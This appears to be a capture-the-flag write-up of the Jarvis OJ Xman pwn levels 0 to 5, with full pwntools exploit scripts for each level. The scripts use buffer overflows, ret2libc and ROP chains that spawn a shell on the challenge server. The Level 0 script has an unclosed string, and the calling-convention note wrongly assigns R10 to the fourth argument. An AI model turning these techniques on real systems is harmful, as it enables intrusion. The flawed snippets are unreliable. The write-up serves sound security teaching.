Jarvis OJ Pwn Xman Series
{"author": ["ret2basic"]}
Jarvis OJ
Jarvis OJ

Xman Level 0 (ret2text)

file + checksec

file:
1
level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
Copied!
checksec:
1
Arch: amd64-64-little
2
RELRO: No RELRO
3
Stack: No canary found
4
NX: NX enabled
5
PIE: No PIE (0x400000)
Copied!

Program Analysis

Examine the main function:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
write(1, "Hello, World\n", 0xDuLL);
4
return vulnerable_function();
5
}
Copied!
vulnerable_function() has stack overflow vulnerability:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [rsp+0h] [rbp-80h]
4
5
return read(0, &buf, 0x200uLL);
6
}
Copied!
callsystem() is able to spawn a shell:
1
int callsystem()
2
{
3
return system("/bin/sh");
4
}
Copied!

Solution

The function vulnerable_function() is called and it is vulnerable to buffer overflow attack. The buffer buf is only 0x80 bytes long but we are able to write 0x200 bytes into it at read(0, &buf, 0x200uLL);. In the binary we can find a "backdoor" function named callsystem(). Here we should overflow the buffer, control the instruction pointer, and then use ret2text to redirect the control flow to callsystem().
ret2text is possible when there exist dead code in the program. "Dead code" refers to a piece of code that never gets used by the program. This happens because developer may forget which function is neccessary and which function is useless during the developement process. Also, sometimes the developer would insert some kind of "backdoor" in the project for convenience, and this makes attack convenient in the meantime.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
elf = ELF("./level0")
7
context.arch="amd64
8
9
local = False
10
if local:
11
r = elf.process()
12
else:
13
host = "pwn2.jarvisoj.com"
14
port = 9881
15
r = remote(host, port)
16
17
#--------ret2text--------#
18
19
offset = 136
20
callsystem = elf.sym["callsystem"]
21
22
payload = flat(
23
b"A" * offset,
24
callsystem,
25
)
26
27
r.sendlineafter("Hello, World\n", payload)
28
r.interactive()
Copied!

Xman Level 1 (ret2shellcode)

file + checksec

file:
1
level1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7d479bd8046d018bbb3829ab97f6196c0238b344, not stripped
Copied!
checksec:
1
Arch: i386-32-little
2
RELRO: Partial RELRO
3
Stack: No canary found
4
NX: NX disabled
5
PIE: No PIE (0x8048000)
6
RWX: Has RWX segments
Copied!

Program Analysis

Examine the main function:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function();
4
write(1, "Hello, World!\n", 0xEu);
5
return 0;
6
}
Copied!
vulnerable_function() has stack overflow vulnerability:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [esp+0h] [ebp-88h]
4
5
printf("What's this:%p?\n", &buf);
6
return read(0, &buf, 0x100u);
7
}
Copied!

Solution

The absence of NX makes this binary vulnerable to ret2shellcode. Since we are allowed to write 0x100 bytes into buf, the pwntools' built-in shellcode suffices.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="i386", os="linux")
7
elf = ELF("level1", checksec=False)
8
9
local = False
10
if local:
11
r = elf.process()
12
else:
13
host = "pwn2.jarvisoj.com"
14
port = 9877
15
r = remote(host, port)
16
17
#--------ret2shellcode--------#
18
19
r.readuntil("What's this:").decode()
20
buf_addr = int(r.read(10), 16)
21
log.info(f"buf_addr: {hex(buf_addr)}")
22
23
offset = 140
24
shellcode = asm(shellcraft.sh())
25
26
payload = flat(
27
shellcode.ljust(offset, b"\x90"),
28
buf_addr,
29
)
30
31
r.sendlineafter("?\n", payload)
32
r.interactive()
Copied!

Xman Level 2 32-bit (ret2system)

file + checksec

file:
1
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped
Copied!
checksec:
1
Arch: i386-32-little
2
RELRO: Partial RELRO
3
Stack: No canary found
4
NX: NX enabled
5
PIE: No PIE (0x8048000)
Copied!

Program Analysis

Examine the main function:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function();
4
system("echo 'Hello World!'");
5
return 0;
6
}
Copied!
vulnerable_function() has stack overflow vulnerability:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [esp+0h] [ebp-88h]
4
5
system("echo Input:");
6
return read(0, &buf, 0x100u);
7
}
Copied!

Solution

Since NX is enabled, we can't do ret2shellcode this time because the shellcode stored on stack won't be executed. Instead, we use ret2system since it is one of the standard methods for bypassing NX. Note that both system and /bin/sh are provided in the binary:
1
$ ROPgadget --binary level2 --string "system"
2
Strings information
3
============================================================
4
0x0804824b : system
Copied!
1
$ ROPgadget --binary level2 --string "/bin/sh"
2
Strings information
3
============================================================
4
0x0804a024 : /bin/sh
Copied!
Hence we can call system("/bin/sh") directly. This is the easiest type of libc.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="i386", os="linux")
7
elf = ELF("level2", checksec=False)
8
9
local = False
10
if local:
11
r = elf.process()
12
else:
13
host = "pwn2.jarvisoj.com"
14
port = 9878
15
r = remote(host, port)
16
17
#--------ret2system--------#
18
19
offset = 140
20
system = elf.plt["system"]
21
bin_sh = next(elf.search(b"/bin/sh\x00"))
22
23
payload = flat(
24
b"A" * offset,
25
system,
26
b"B" * 4, # return address for system()
27
bin_sh, # argument for system()
28
)
29
30
r.sendlineafter("Input:\n", payload)
31
r.interactive()
Copied!

Xman Level 2 64-bit (64-bit Calling Convention)

file + checksec

file:
1
level2_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17f0f0026ee70f2e0c8c600edcbe06862a9845bd, not stripped
Copied!
checksec:
1
Arch: amd64-64-little
2
RELRO: No RELRO
3
Stack: No canary found
4
NX: NX enabled
5
PIE: No PIE (0x400000)
Copied!

Program Analysis

Examine the main function:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function(argc, argv, envp);
4
return system("echo 'Hello World!'");
5
}
Copied!
vulnerable_function() has stack overflow vulnerability:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [rsp+0h] [rbp-80h]
4
5
system("echo Input:");
6
return read(0, &buf, 0x200uLL);
7
}
Copied!

Solution

This time we are dealing with x64 architecture. The major distinction between x86 and x64 is different calling conventions. In x86, the function arguments are stored on the stack. In x64, the first 6 function arguments are stored in registers, in the following order:
  1. 1.
    RDI = arg1
  2. 2.
    RSI = arg2
  3. 3.
    RDX = arg3
  4. 4.
    R10 = arg4 (R10 for kernel space and RCX for user space. We are interested in kernel space here.)
  5. 5.
    R8 = arg5
  6. 6.
    R9 = arg6
If there exists more arguments, the extra ones will be stored on the stack.
To pass /bin/sh as the argument for system, we need to store /bin/sh in rdi. This can be done with the pop rdi gadget:
1
$ ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi
2
0x00000000004006b3 : pop rdi ; ret
Copied!

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="amd64", os="linux")
7
elf = ELF("level2_x64", checksec=False)
8
9
local = False
10
if local:
11
r = elf.process()
12
else:
13
host = "pwn2.jarvisoj.com"
14
port = 9882
15
r = remote(host, port)
16
17
#--------ret2system--------#
18
19
offset = 136
20
# ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi
21
pop_rdi = 0x00000000004006b3
22
bin_sh = next(elf.search(b"/bin/sh\x00"))
23
system = elf.plt["system"]
24
25
payload = flat(
26
b"A" * offset,
27
pop_rdi, bin_sh, # pop "/bin/sh" to rdi
28
system, # call system("/bin/sh")
29
)
30
31
r.sendlineafter("Input:\n", payload)
32
r.interactive()
Copied!

Xman Level 3 32-bit (ret2libc)

file + checksec

file:
1
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
Copied!
checksec:
1
Arch: i386-32-little
2
RELRO: Partial RELRO
3
Stack: No canary found
4
NX: NX enabled
5
PIE: No PIE (0x8048000)
Copied!

Program Analysis

Examine the main function:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function();
4
write(1, "Hello, World!\n", 0xEu);
5
return 0;
6
}
Copied!
vulnerable_function() has stack overflow vulnerability:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [esp+0h] [ebp-88h]
4
5
write(1, "Input:\n", 7u);
6
return read(0, &buf, 0x100u);
7
}
Copied!

Solution

No more system provided in binary this time, so we need to leak an address (write_got in this case) from the GOT table and then calculate the libc base address based on this leaked address. Once we have the libc base address, we are able to deduce the addresses of system and /bin/sh in libc.
The candidates of this leaking phase include puts, write or printf. They will be called ret2puts, ret2write and ret2printf, respectively. Usually we want to do ret2puts, but since there is no [email protected] or [email protected] in this binary, the only choice left for us is ret2write.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="i386", os="linux")
7
elf = ELF("level3", checksec=False)
8
9
local = False
10
if local:
11
libc = elf.libc
12
r = elf.process()
13
else:
14
libc = ELF("libc-2.19.so")
15
host = "pwn2.jarvisoj.com"
16
port = 9879
17
r = remote(host, port)
18
19
#--------ret2write--------#
20
21
offset = 140
22
write_plt = elf.plt["write"]
23
vulnerable_function = elf.sym["vulnerable_function"]
24
write_got = elf.got["write"]
25
26
payload = flat(
27
b"A" * offset,
28
write_plt, # call write(1, write_got, 4)
29
vulnerable_function, # return address for write()
30
1, write_got, 4, # arguments for write()
31
)
32
"""
33
Here 1 is fd (stdout), 4 is the # bytes to write
34
"""
35
36
r.sendlineafter("Input:\n", payload)
37
write_leak = u32(r.read(4))
38
write_offset = libc.sym["write"]
39
libc.address = write_leak - write_offset
40
41
log.info(f"write_leak: {hex(write_leak)}")
42
log.info(f"write_offset: {hex(write_offset)}")
43
log.info(f"libc.address: {hex(libc.address)}")
44
45
#--------ret2libc-------#
46
47
system = libc.sym["system"]
48
bin_sh = next(libc.search(b"/bin/sh\x00"))
49
"""
50
since libc.address was defined,
51
the above two address are adjusted automatically.
52
"""
53
54
payload = flat(
55
b"A" * offset,
56
system,
57
b"B" * 4, # return address for system
58
bin_sh, # argument for system
59
)
60
61
r.sendlineafter("Input:\n", payload)
62
r.interactive()
Copied!

Xman Level 3 64-bit (ret2libc)

file + checksec

file:
1
level3_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
Copied!
checksec:
1
Arch: amd64-64-little
2
RELRO: No RELRO
3
Stack: No canary found
4
NX: NX enabled
5
PIE: No PIE (0x400000)
Copied!

Program Analysis

Examine the main function:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function(argc, argv, envp);
4
return write(1, "Hello, World!\n", 0xEuLL);
5
}
Copied!
vulnerable_function() has stack overflow vulnerability:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [rsp+0h] [rbp-80h]
4
5
write(1, "Input:\n", 7uLL);
6
return read(0, &buf, 0x200uLL);
7
}
Copied!

Solution

We need gadgets pop rdi, pop rsi and pop rdx this time. We can find pop rdi ; ret in the binary:
1
$ ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi
2
0x00000000004006b3 : pop rdi ; ret
Copied!
However, we can't find an independent gadget like pop rsi; ret. The good news is pop rsi ; pop r15 ; ret could be used as an alternative:
1
$ ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi
2
0x00000000004006b1 : pop rsi ; pop r15 ; ret
Copied!
Here we simply pass a junk value into r15, so this gadget would do the same job as pop rsi ; ret.
We still need pop rdx ; ret. However, this gadget is not present in the binary. It doesn't really matter because the value stored in rdx is greater than 6 at the moment write gets called. This is just what we want since the address of [email protected] won't be longer than 6 bytes. As a result, we don't have to set the value of rdx on ourselves, so just ignore it.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="amd64", os="linux")
7
elf = ELF("level3_x64", checksec=False)
8
9
local = False
10
if local:
11
libc = elf.libc
12
r = elf.process()
13
else:
14
libc = ELF("libc-2.19.so")
15
host = "pwn2.jarvisoj.com"
16
port = 9883
17
r = remote(host, port)
18
19
#--------ret2write--------#
20
21
offset = 136
22
write_plt = elf.plt["write"]
23
vulnerable_function = elf.sym["vulnerable_function"]
24
write_got = elf.got["write"]
25
26
# ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi
27
pop_rdi = 0x00000000004006b3
28
# ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi
29
pop_rsi_r15 = 0x00000000004006b1
30
31
payload = flat(
32
b"A" * offset,
33
pop_rdi, 1,
34
pop_rsi_r15, write_got, 1337, # 1337 is just some junk value that gets popped to r15
35
write_plt, # call write(1, write_got, [rdx])
36
vulnerable_function, # return address for write
37
)
38
39
r.sendlineafter("Input:\n", payload)
40
write_leak = u64(r.read(8))
41
write_offset = libc.sym["write"]
42
libc.address = write_leak - write_offset
43
44
log.info(f"write_leak: {hex(write_leak)}")
45
log.info(f"write_offset: {hex(write_offset)}")
46
log.info(f"libc.address: {hex(libc.address)}")
47
48
#--------ret2libc-------#
49
50
system = libc.sym["system"]
51
bin_sh = next(libc.search(b"/bin/sh\x00"))
52
53
payload = flat(
54
b"A" * offset,
55
pop_rdi, bin_sh,
56
system, # call system("/bin/sh")
57
)
58
59
r.sendlineafter("Input:\n", payload)
60
r.interactive()
Copied!

Xman Level 4 (Libc Database)

file + checksec

file:
1
level4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44cfbcb6b7104566b4b70e843bc97c0609b7a018, not stripped
Copied!
checksec:
1
Arch: i386-32-little
2
RELRO: Partial RELRO
3
Stack: No canary found
4
NX: NX enabled
5
PIE: No PIE (0x8048000)
Copied!

Program Analysis

Examine the main function:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function();
4
write(1, "Hello, World!\n", 0xEu);
5
return 0;
6
}
Copied!
vulnerable_function() has stack overflow vulnerability:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [esp+0h] [ebp-88h]
4
5
return read(0, &buf, 0x100u);
6
}
Copied!

Solution

The libc file is not given this time, but that's not a problem. We can always query the leaked address from libc database and figure out the libc version as well as the corresponding libc function offsets (relative to the libc base address).

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="i386", os="linux")
7
elf = ELF("level4", checksec=False)
8
9
local = False
10
if local:
11
r = elf.process()
12
else:
13
host = "pwn2.jarvisoj.com"
14
port = 9880
15
r = remote(host, port)
16
17
#--------ret2write--------#
18
19
offset = 140
20
write_plt = elf.plt["write"]
21
vulnerable_function = elf.sym["vulnerable_function"]
22
write_got = elf.got["write"]
23
24
payload = flat(
25
b"A" * offset,
26
write_plt,
27
vulnerable_function, # return address for write()
28
1, write_got, 4, # arguments for write()
29
)
30
31
r.sendline(payload)
32
write_leak = u32(r.read(4))
33
log.info(f"write_leak: {hex(write_leak)}")
34
35
#--------Libc Database--------#
36
37
# libc database (https://libc.rip/)
38
# libc version: libc6_2.19-18+deb8u10_i386
39
write_offset = 0x0c8880
40
libc_base_address = write_leak - write_offset
41
42
system_offset = 0x03de80
43
bin_sh_offset = 0x12dc51
44
45
#--------ret2libc--------#
46
47
system = libc_base_address + system_offset
48
bin_sh = libc_base_address + bin_sh_offset
49
50
payload = flat(
51
b"A" * offset,
52
system,
53
b"B" * 4, # return address for system()
54
bin_sh, # argument for system()
55
)
56
57
r.sendline(payload)
58
r.interactive()
Copied!

Xman Level 5 (mprotect)

file + checksec

file:
1
level5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
Copied!
checksec:
1
Arch: amd64-64-little
2
RELRO: No RELRO
3
Stack: No canary found
4
NX: NX enabled
5
PIE: No PIE (0x400000)
Copied!

Pseudocode

Examine the main function:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function(argc, argv, envp);
4
return write(1, "Hello, World!\n", 0xEuLL);
5
}
Copied!
vulnerable_function() has stack overflow vulnerability:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [rsp+0h] [rbp-80h]
4
5
write(1, "Input:\n", 7uLL);
6
return read(0, &buf, 0x200uLL);
7
}
Copied!

Solution

In this challenge, system and execve are disabled (at least we pretend that they are disabled) and we are supposed to use mmap or mprotect. Using mprotect is the easier route. The exploit splits into three phases:
  1. 1.
    Leak the address of write_got, calculate libc base address and then deduce the address of mprotect.
  2. 2.
    Call mprotect to give the .bss segment rwx permission.
  3. 3.
    Call read to start a stdin session and input our shellcode to the .bss segment. Set the return address of read to be the address of .bss segment so the shellcode gets triggered.
Phase 1 is essentially the same as Level 3 (x64).
Phase 2 is something new. Here we want to call mprotect(void *addr, size_t len, int prot), where:
  • addr is the address of the buffer.
  • len is the length of the buffer. Say it is 0x1000, which is more than enough.
  • prot is the permission that we want that buffer to have, which is 7 = 0b111 = rwx in this case.
Phase 3 is a slightly advanced version of ret2shellcode. Here we use multi-stage shellcode. In stage 1, we call the read() function to open a STDIN session. In stage 2, we input the /bin/sh shellcode from STDIN, and get shell.
In stage 1, we use ROP to call read(int fd, void *buf, size_t nbyte), where:
  • fd should be 0 since we want stdin.
  • buf is the address of the buffer. We will use elf.bss() here, which is the beginning of the .bss segment.
  • nbyte is the length of our input. Let's say it's 0x100, which is more than enough.
In stage 2, we can input our shellcode from STDIN. If the return address of read is set to be elf.bss(), the shellcode will be triggered and we would get shell.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="amd64", os="linux")
7
elf = ELF("level5", checksec=False)
8
9
local = False
10
if local:
11
libc = elf.libc
12
r = elf.process()
13
else:
14
libc = ELF("libc-2.19.so")
15
host = "pwn2.jarvisoj.com"
16
port = 9884
17
r = remote(host, port)
18
19
#--------Phase 1: ret2write--------#
20
21
offset = 136
22
write_plt = elf.plt["write"]
23
vulnerable_function = elf.sym["vulnerable_function"]
24
write_got = elf.got["write"]
25
26
# ROPgadget --binary level5 --only "pop|ret" | grep rdi
27
pop_rdi = 0x00000000004006b3
28
# ROPgadget --binary level5 --only "pop|ret" | grep rsi
29
pop_rsi_pop_r15 = 0x00000000004006b1
30
31
payload = flat(
32
b"A" * offset,
33
pop_rdi, 1,
34
pop_rsi_pop_r15, write_got, 1337,
35
write_plt, # call write(1, write_got, [rdx])
36
vulnerable_function, # return address for write()
37
)
38
39
r.sendlineafter("Input:\n", payload)
40
write_leak = u64(r.read(6).ljust(8, b"\x00"))
41
write_offset = libc.sym["write"]
42
libc.address = write_leak - write_offset
43
44
log.info(f"write_leak: {hex(write_leak)}")
45
log.info(f"write_offset: {hex(write_offset)}")
46
log.info(f"libc.address: {hex(libc.address)}")
47
48
#--------Phase 2: mprotect--------#
49
50
"""
51
$ man 2 mprotect:
52
mprotect(void *addr, size_t len, int prot)
53
mprotect() changes the access protections for the calling process's memory
54
pages containing any part of the address range in the interval
55
[addr, addr+len-1]. addr must be aligned to a page boundary.
56
"""
57
58
mprotect = libc.sym["mprotect"]
59
60
"""
61
The address of mproject is auto-adjusted since libc.address was set.
62
Also, since we know the libc base address,
63
we can use gadgets from libc from now on.
64
"""
65
66
# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rsi
67
pop_rsi = libc.address + 0x0000000000024885
68
# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rdx
69
pop_rdx = libc.address + 0x0000000000000286
70
71
log.info(f"elf.bss(): {hex(elf.bss())}")
72
73
"""
74
We have elf.bss() = 0x600a88.
75
Note that the first argument of mprotect must be an integer multiple of page size.
76
We can learn the page size using the command "getconf":
77
78
$ getconf PAGE_SIZE
79
4096
80
81
Hence addr = k * 0x1000, so we pick addr = 0x600000.
82
"""
83
84
payload = flat(
85
b"A" * offset,
86
pop_rdi, 0x600000, # arg1: addr
87
pop_rsi, 0x1000, # arg2: len
88
pop_rdx, 7, # arg3: prot (7 = 0b111 = rwx)
89
mprotect, # call mprotect(0x600000, 0x1000, 7)
90
vulnerable_function, # return address for mprotect()
91
)
92
93
r.sendlineafter("Input:\n", payload)
94
95
#--------Phase 3: ret2shellcode-------#
96
97
read = elf.plt["read"]
98
shellcode = asm(shellcraft.sh())
99
100
payload = flat(
101
b"A" * offset,
102
pop_rdi, 0, # arg1: fd (0 = stdin)
103
pop_rsi, elf.bss(), # arg2: buf
104
pop_rdx, 0x100, # arg3: nbyte
105
read, # call read(0, elf.bss(), 0x100)
106
elf.bss(), # return address for read()
107
)
108
109
r.sendlineafter("Input:\n", payload)
110
r.sendline(shellcode) # the stdin session initiated by the read() function
111
r.interactive()
Copied!

Xman Level 6

Todo!